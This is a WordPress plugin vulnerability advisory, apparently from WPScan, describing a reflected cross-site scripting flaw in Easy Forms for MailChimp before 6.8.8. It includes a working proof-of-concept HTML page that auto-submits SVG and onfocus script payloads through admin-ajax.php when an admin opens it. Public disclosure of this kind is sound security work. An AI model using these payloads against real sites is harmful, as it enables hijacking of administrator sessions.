WordPress Plugin Vulnerabilities
Easy Forms for MailChimp < 6.8.8 - Reflected XSS
Description
The plugin does not sanitise and escape some parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open a page with the following code (this requires the attacker to know/guess a list_id) <html> <body onload="document.forms[0].submit()"> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="add_interest_group_to_form"/> <input type="hidden" name="list_id" value="d352660974" /> <input type="hidden" name="interest_groups[][group_id]" value='"></textarea><svg/onload=alert(/XSS-group_id/)>' /> <input type="hidden" name="interest_groups[][field_type]" value='"><svg/onload=alert(/XSS-field_type/)>' /> <input type="hidden" name="interest_groups[][field_name]" value='"><svg/onload=alert(/XSS-field_name/)>' /> <input type="hidden" name="interest_groups[][classes]" value='"autofocus=autofocus onfocus=alert(/XSS-classes/)//' /> <input type="submit" value="Submit" /> </form> </body> </html>
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-03-29 (about 1 years ago)
Added
2023-03-29 (about 1 years ago)
Last Updated
2023-04-25 (about 1 years ago)